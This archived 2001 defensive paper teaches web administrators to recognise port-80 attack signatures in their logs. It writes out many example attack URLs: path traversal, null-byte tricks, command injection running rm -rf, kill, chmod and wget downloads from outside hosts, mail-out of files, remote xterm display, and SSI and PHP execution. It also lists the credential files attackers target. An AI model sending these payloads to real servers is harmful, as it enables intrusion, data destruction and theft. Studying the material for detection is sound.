home *** CD-ROM | disk | FTP | other *** search
/ Hackers Matrix / Hacker's Matrix (nCite Software) (2003).iso / Tutorials / hTut_0161.txt < prev    next >
Text File  |  2002-12-13  |  24KB  |  525 lines

  1.                                         Author: Zenomorph
  2.                                       admin@cgisecurity.com
  3.                                  "Fingerprinting Port 80 Attacks:
  4.                        A look into web server, and web application attack signatures."
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11. I. Introduction
  12. II. Common Fingerprints
  13. III. Advanced Fingerprints
  14. IV. Overflows
  15. V. Hex Encoding
  16. VI. Conclusion
  17.  
  18.  
  19.  
  20.  
  21.  
  22. I. Introduction:
  23.  
  24.  
  25. Port 80 is the standard port for websites, and it can have a lot of different security issues.
  26. These holes can allow an attacker to gain either administrative access to the website,
  27. or even the web server itself. This paper looks at some of the signatures that are used
  28. in these attacks, and what to look for in your logs. 
  29.  
  30.  
  31.  
  32. II. Common Fingerprints:
  33.  
  34.  
  35. This section has examples of common fingerprints used in exploitation of both web applications,
  36. and web servers. This section is not supposed to show you every possible fingerprint, but instead
  37. show you the majority of what exploits and attacks will look like. These signatures should pick
  38. up most of the known and unknown holes an attacker may use against you. This section also describes
  39. what each signature is used for, or how it may be used in an attack.
  40.  
  41.  
  42.  
  43. "."  ".." and "..." Requests
  44.  
  45. These are the most common attack signatures in both web application exploitation and web server 
  46. exploitation. It is used to allow an attacker or worm to change directories within your 
  47. web server to gain access to sections that may not be public. Most CGI holes will contain 
  48. some ".." requests. 
  49.  
  50. Below is an example.
  51.  
  52. * http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
  53.  
  54. This shows an attacker requesting your web servers "Message Of The Day" file. If an attacker
  55. has the ability to browse outside your web servers root, then it may be possible to gather enough
  56. information to gain further privileges.
  57.  
  58.  
  59.  
  60. "%20" Requests
  61.  
  62. This is the hex value of a blank space. While this doesn't mean youre being exploited, it is 
  63. something you may want to look for in your logs. Some web applications you run may use these 
  64. characters in valid requests, so check your logs carefully. On the other hand, this request 
  65. is occasionally used to help execute commands. 
  66.  
  67. Below is an example.  
  68.  
  69.  
  70. * http://host/cgi-bin/lame.cgi?page=ls%20-al| (Otherwise known as ls -al common on a Unix system)
  71.  
  72. The example shows an attacker executing the ls command on Unix and feeding it arguments. 
  73. The argument shown reveals an attacker requesting a full directory listing. This can allow 
  74. an attacker access to important files on your system, and may help give him an idea as how 
  75. to gain further privileges.
  76.  
  77.  
  78.  
  79. "%00" Requests
  80.  
  81. This is the hex value of a null byte. It can be used to fool a web application into thinking a 
  82. different file type has been requested.
  83.  
  84. Below is an example.  
  85.  
  86. * http://host/cgi-bin/lame.cgi?page=index.html
  87. The example shown may be a valid request on this machine. If an attacker see's such behavior 
  88. he will certainly probe this application to find a hole in it. 
  89.  
  90. * http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
  91. A web application may disallow this request because its checking for the filename to end in 
  92. .htm , .html, .shtml, or other file types. A lot of the time the application tells you that this
  93. isn't a valid file type for this application. Often times it will tell an attacker that the file
  94. must end in a certain filename. From here an attacker can gather server paths, filenames and then 
  95. possibly gather more information about your system.
  96.  
  97. * http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
  98. This request tricks the application into thinking the filename ends in one of its predefined 
  99. acceptable file types. Some web applications do a poor job of checking for valid file requests 
  100. and this is a common method used by attackers.
  101.  
  102.  
  103.  
  104. "|" Requests
  105.  
  106. This is a pipe character, which is often used in Unix to help execute multiple commands at 
  107. a time in a single request. 
  108.  
  109. Example: #cat access_log| grep -i "/../" 
  110.  
  111. (This shows checking in logs of .. requests which are often used by attackers and worms.)
  112. Often times valid web applications will use this character and it may cause
  113. false alarms in your IDS logs. A careful examination of your software and its behavior is a 
  114. good idea so that your false alarm rates will go down.
  115.  
  116. Below are a few examples.  
  117.  
  118. * http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
  119. This request is asking for the common of ls to be executed. 
  120. Below is another variation of this request type.
  121.  
  122. * http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
  123. This request is asking for full directory listing of the "etc" directory on a Unix system.
  124.  
  125. * http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
  126. This request is asking for the command of "cat" to be executed and then the command of 
  127. "grep" with an argument of -i.
  128.  
  129.  
  130.  
  131. ";" Requests
  132.  
  133. This is the character that allows multiple commands to be executed in a row on a Unix system.
  134. Example: #id;uname -a (This is executing the "id" command followed by the "uname" command)
  135. Often times web applications will use this character and it may be possible to cause false alarms 
  136. in your IDS logs. Once again a careful examination of your software and its behavior is a good 
  137. idea so that your false alarm rates will go down.
  138.  
  139.  
  140.  
  141. "<" and ">" Requests
  142.  
  143. These characters are to be checked in logs for numerous reasons, the first being that these 
  144. characters are used to append data to files. 
  145.  
  146. Example 1: #echo "your hax0red h0 h0" >> /etc/motd
  147. (This shows a request to write the information into this file.) An attacker may simply use 
  148. a request like this to deface your website. The famous RDS exploit by rain.forest.puppy was often
  149. used by attackers to echo information into the websites main page. Check attrition.org and search 
  150. for hacked websites with plain white pages with no formatting for an example.
  151.  
  152. Example 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>
  153. This request shows a cross site server scripting attack example. You will notice
  154. the html tags use the "<" and ">" characters. While this type of attack won't grant
  155. an attacker system access, it could be used to fool people into thinking that certain
  156. information on a website is valid. (Of course they would need to visit the link the attacker
  157. wants them to. The request may be masked by encoding the characters in hex so as not to 
  158. be so obvious.)
  159.  
  160.  
  161.  
  162. "!" Requests
  163.  
  164. This character is often used in SSI(Server Side Include) attacks. These attacks may allow an attacker
  165. to have similar results as cross site scripting exploitation does if the attacker fools a user into
  166. clicking on a link.
  167.  
  168.  
  169. Below is an example.  
  170.  
  171. http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
  172. This is an example of what an attacker may do. This is basically including a file
  173. from host2 and making it appear to be coming from host1.
  174. (Of course they would need to visit the link the attacker wants them to. The request 
  175. may be masked by encoding the characters in hex so as not to be so obvious) 
  176.  
  177.  
  178. It also may allow him to execute commands on your system with the privileges of your web server user.
  179.  
  180. Below is an example.  
  181.  
  182. http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
  183. This is executing the command of "id" on the remote system. This is going to show
  184. the user id of the web server which is usually user "nobody" or "www".
  185.  
  186.  
  187. It may also allow the inclusion of hidden files.
  188.  
  189. Below is an example.  
  190.  
  191. http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
  192. This is including the .htpasswd file. This file isn't normally allowed to be viewed by the world,
  193. and apache even has a built in rule to deny requests to .ht. The SSI tag bypasses this and can cause
  194. security problems.
  195.  
  196.  
  197.  
  198. "<?" Requests
  199.  
  200. This is often used while trying to insert php into a remote web application. It may be possible
  201. to execute commands depending on server setup, and other contributing factors.
  202.  
  203. Below is an example. 
  204.  
  205. http://host/something.php=<? passthru("id");?>
  206. On a poorly written php application it may execute this command locally on the remote host under 
  207. the privilege of the web server user. 
  208.  
  209.  
  210. An addition to this chapter is that an attacker may encode these requested with hex. Check
  211. for anything out of the ordinary and research anything suspicious.
  212.  
  213. "`" Requests
  214.  
  215. The backtick character is often used in perl to execute commands. This character isn't normally
  216. used in any valid web application, so if you see it in your logs take it very seriously.
  217.  
  218. Below is an example.
  219.  
  220. http://host/something.cgi=`id`
  221. On a poorly written web application written in perl this would execute
  222. the "id" command.
  223.  
  224.  
  225.  
  226. III. Advanced Signatures:
  227.  
  228.  
  229. This section focuses more on the commands an attacker executes, along with files which may 
  230. be requested, and how to detect if youre vulnerable to remote command execution. While this 
  231. isn't a complete list of commands or files an attacker may request it will give you a good 
  232. idea of what is happening, or being attempted against your system.
  233.  
  234.  
  235. * Common commands an attacker or worm may execute.
  236.  
  237.  
  238. "/bin/ls"
  239. This is the binary of the ls command. It is often requested in full paths for a lot of common
  240. web application holes. If you see this request anywhere in your logs its a good chance
  241. your system is effected by remote command execution holes. This isn't always a problem and 
  242. could be a false alarm. Once again a study of your web application is essential. If possible, 
  243. test the same request that showed up in your logs and check the output for any possible execution.
  244.  
  245. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
  246. Example: http://host/cgi-bin/bad.cgi?doh=ls%20-al;
  247.  
  248. "cmd.exe"
  249. This is the windows shell. An attacker if he has access to run this script will
  250. pretty much be able to do anything on a windows machine depending on server permissions.
  251. Most internet worms involving port80 use cmd.exe to help spread infection of themselves
  252. to other remote systems.
  253.  
  254. http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\
  255.  
  256. "/bin/id"
  257. This is the binary of the id command. his is often requested in full paths for a lot of common
  258. web application holes. If you see this request anywhere in your logs theres a good chance 
  259. your system is effected by remote command execution holes. This isn't always a problem and 
  260. could be a false alarm. This command shows you what user you are along with information
  261. on which groups you belong to. If possible test the same request that showed up 
  262. in your logs and check the output for any possible execution.
  263.  
  264. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
  265. Example: http://host/cgi-bin/bad.cgi?doh=id;
  266.  
  267. "/bin/rm"
  268. This is the binary of the rm command. This is often requested in full paths for a lot of common
  269. web application holes. If you see this request anywhere in your logs theres a good chance 
  270. your system is affected by remote command execution holes. This isn't always a problem and 
  271. could be a false alarm. This command, on the other hand, allows deletion of files and is very 
  272. dangerous if either used improperly, or by an attacker. If possible, test the same request that 
  273. showed up in your logs and check the output for any possible execution. If its requesting an 
  274. important filename, you may want to use judgment before doing this. If its deleting the file 
  275. name stupid.txt, and it doesn't appear to exist within the website it was requested from, create 
  276. the file and test it. 
  277.  
  278. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
  279. Example: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
  280.  
  281. "wget and tftp" commands
  282. These commands are often used by attackers and worms to download additional files,
  283. which may be used in gaining further system privileges. wget is a Unix command which may 
  284. be used to download a backdoor. tftp is a Unix and NT command which is used to download 
  285. files with. Some IIS worms used this tftp command to download a copy of themselves to an 
  286. infected host to keep spreading itself.
  287.  
  288. Example: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
  289. Example: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
  290.  
  291. "cat" command
  292. This command is often used to view contents of files. This could be used
  293. to read important information such as configuration files, password files,
  294. credit card files, and anything else you can think of. 
  295.  
  296. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
  297. Example: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
  298.  
  299. "echo" command
  300. This command is often used to append data to files such as index.html.
  301.  
  302. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
  303. Example: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
  304.  
  305. "ps" command
  306. This command shows a listing of running processes. It can tell an attacker
  307. if the remote host is running any security software, and also give them ideas
  308. as to other security holes this host may have.
  309.  
  310. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
  311. Example: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
  312.  
  313. "kill and killall" commands
  314. These commands are used to kill processes on a Unix system. An attacker may use these to stop
  315. a system service or program. An attacker may also use this command to help cover his tracks if 
  316. an exploit he used forked a lot of child processes or crashed abnormally.
  317.  
  318. Example: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
  319. Example: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
  320.  
  321. "uname" command
  322. This command is often used to tell an attacker the hostname of the remote system.
  323. Often times a website is hosted on a ISP and this command can get an idea of which ISP
  324. he may have access to. Usually uname -a is requested and it may appear in logs as "uname%20-a".
  325.  
  326. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
  327. Example: http://host/cgi-bin/bad.cgi?doh=uname%20-a;
  328.  
  329. "cc, gcc, perl, python, etc..."  Compilers/Interpreter commands
  330. The "cc" and "gcc" commands allow compilation of programs. An attacker
  331. may use wget, or tftp to download files, and then use these compilers
  332. to compile the exploit. From here anything is possible, including
  333. local system exploitation.
  334.  
  335. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
  336. Example: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
  337.  
  338. If you see a request for "perl" or "python" it may be possible
  339. the attacker downloaded a remote perl or python script, and is trying to locally
  340. exploit your system.
  341.  
  342.  
  343. "mail" command 
  344. This command may be used by an attacker to email files to an email address
  345. the attacker owns. It may also be used to spam from, and spamming in this manner
  346. may not be very easy to detect.
  347.  
  348. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
  349. Example: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;
  350.  
  351. "xterm/Other X application" commands
  352. Xterm is often used to help gain shell access to a remote system.
  353. If you see this in your logs take it very seriously as a possible
  354. security breach. Look for a request in your logs which contains 
  355. "%20-display%20" in it. This fingerprint is often used to help 
  356. launch xterm or any other X application to a remote host. 
  357.  
  358. Example: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
  359. Example: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
  360.  
  361. "chown, chmod, chgrp, chsh, etc..." commands
  362. These commands allow changing of permissions on a Unix system. 
  363. Below is a list of what each does.
  364.  
  365. chown = allows setting user ownership of a file.
  366. chmod = allows file permissions to be set.
  367. chgrp = allows group ownership to be changed.
  368. chsh = allows a user to change the shell that they use.
  369.  
  370. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
  371. Example: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
  372. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
  373. Example: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
  374. Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
  375.  
  376.  
  377. * Common files an attacker will request.
  378.  
  379.  
  380. "/etc/passwd"  File
  381.  
  382. The system password file. This is usually shadowed and will not provide encrypted passwords
  383. to an attacker. It will, on the other hand, give an attacker an idea as to valid usernames, 
  384. system paths, and possibly sites hosted. If this file is shadowed often times an attacker 
  385. will look in the /etc/shadow file.
  386.  
  387.  
  388. "/etc/master.passwd"
  389. The BSD system password file that contains the encrypted passwords. This file is only readable
  390. by the root account but an inexperienced attacker may check for the file in hopes of being 
  391. able to read it. If the web server runs as the user "root" then an attacker will be able to 
  392. read this file and the system administrator will have a lot of problems to come.
  393.  
  394.  
  395. "/etc/shadow"
  396. The system password file that contains the encrypted passwords. This file is only readable
  397. by the root account but an inexperienced attacker may check for the file in hopes of being 
  398. able to read it. If the web server runs as the user "root" then an attacker will be able to 
  399. read this file and the system administrator will have a lot of problems to come.
  400.  
  401.  
  402. "/etc/motd"
  403. The system "Message Of The Day" file contains the first message a user see's when they login
  404. to a Unix system. It may provide important system information an administrator wants the users
  405. to see, along with the operating system version. An attacker will often check this file
  406. so that they know what the system is running. From here they will research the OS and gather 
  407. exploits that can be used to gain further access to the system.
  408.  
  409.  
  410. "/etc/hosts" 
  411. This file provides information about ip addresses and network information. An attacker can 
  412. use this information to find out more information about your system/network setup.
  413.  
  414.  
  415. "/usr/local/apache/conf/httpd.conf"
  416. The path of this file is different but this is the common path. This is the Apache web server 
  417. configuration file. It gives an attacker an idea of which websites are being hosted along with 
  418. any special information like whether CGI or SSI access is allowed.
  419.  
  420.  
  421. "/etc/inetd.conf"
  422. This is the configuration file of the inetd service. This file contains
  423. system Daemons that the remote system is using. It also may show an attacker
  424. if the remote system is using a wrapper for each daemon. If a wrapper is found in use
  425. an attacker next will check for "/etc/hosts.allow" and "/etc/hosts.deny", and possibly
  426. modify these files depending on whether he gained further privileges.
  427.  
  428.  
  429.  
  430. ".htpasswd, .htaccess, and .htgroup"
  431. These files are used for password authentication on a website. An attacker will try to view
  432. the contents of these files to gather both usernames, and passwords. The passwords are located
  433. in the htpasswd file and are encrypted. A simple password cracker and some time on the other hand
  434. will grant an attacker access to certain password protected sections of your website, and possibly
  435. other account. (A lot of people use the same username and password for everything, and often times 
  436. this can allow an attacker access to other accounts this user may have.)
  437.  
  438.  
  439. "access_log and error_log"
  440. These are the log files of the apache web server. An attacker will often times
  441. check logs to see what has been logged of both his own requests as well as others.
  442. Often times an attacker will edit these logs and remote any reference to his hostname.
  443. It can become difficult to detect if an attacker has breached your system via port80
  444. if these files aren't backed up or dual logged.
  445.  
  446. "[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
  447. This is the name of the Windows NT password file. An attacker will often request this file
  448. if remote command execution is not possible. From here he would run a program like "l0pht crack"
  449. to crack the password on the remote windows machine. If the attacker manages to crack the administrator
  450. password, then the remote machine is free for the taking.
  451.  
  452.  
  453. IV. Overflows:
  454.  
  455. I'm not going to get into buffer overflows too much in this paper, but I will show examples 
  456. of what types of behavior to look out for. Buffer overflows can often be obfuscated by encoding 
  457. and other tricks.
  458.  
  459. Below is a simple example.
  460.  
  461. Example:
  462.  
  463.  
  464. http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  465. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  466. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  467. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  468. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  469.  
  470. This shows an attacker sending a lot of A's to your application to test it for a buffer overflow.
  471. A buffer overflow can grant an attacker remote command execution. If the application is suid
  472. and owned by root this could allow full system access. If it is not suid them it would grant
  473. then possibly command execution as the user id of the web server.
  474.  
  475. The variants of what a buffer overflow looks like are great and this paper isn't going to 
  476. cover every possible example. It is a good idea to check your logs regularly. If you see 
  477. huge requests and your site normally gets small requests, it could possibly be a buffer 
  478. overflow attempt from an attacker, or possibly a new internet worm variant hitting your 
  479. machine. 
  480.  
  481.  
  482.  
  483. V. Hex Encoding:
  484.  
  485. With all the references made above to fingerprints, attackers know that IDS systems often 
  486. check for such requests in a very literal manner. A lot of the time an attacker encodes
  487. his request in hex, so that the IDS system will overlook the request. The CGI scanner known 
  488. as  Whisker is a great example of this.  If you ever view your logs and notice a large 
  489. amount of hex, or unusual characters, then its possible an attacker has attempted to exploit 
  490. your system in some manner. A fast way to check to see what the hex means is to  copy it 
  491. from your logs, then paste it into your browser while visiting your site. If you do not 
  492. have custom 404 pages, then the hex will we translated and you will be able to see exactly 
  493. what the request is, along with its output. If you dont want to risk this, then a simple 
  494. man ascii will provide you with the proper encodings.
  495.  
  496.  
  497.  
  498. VI. Conclusion:
  499.  
  500. This paper doesn't cover every port 80 exploit but it covers the most common types of 
  501. attacks. It also tells you what to check for in your logs, and an idea of what to add to 
  502. your IDS rules. It is written to help the web server administrator get an idea of what 
  503. to look out for. I also hope this paper helps web developers write better web applications. 
  504. I wrote this paper in about an hour on a Sunday, so if you have any comments or suggestions 
  505. email me at admin@cgisecurity.com.
  506.  
  507.  
  508.  
  509.  
  510. Published to the Public November 2001
  511. Copyright November 2001 Cgisecurity.com
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.